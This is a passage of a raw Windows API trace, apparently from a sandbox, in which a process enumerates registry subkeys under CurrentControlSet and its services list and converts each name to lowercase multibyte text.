lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.809] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4a80, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.809] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.810] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4a80, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.810] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.810] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4a80, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0260.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.811] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.811] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0260.811] RegCloseKey (hKey=0x15c) returned 0x0 [0260.811] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.811] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0260.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.811] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4a80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.812] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.812] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.812] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0260.812] RegCloseKey (hKey=0x154) returned 0x0 [0260.812] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.813] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4a80, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.813] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4408, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.813] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.813] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4a80, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.814] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4408, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.814] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4a80, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.814] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0260.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.814] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.815] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.815] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.815] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", 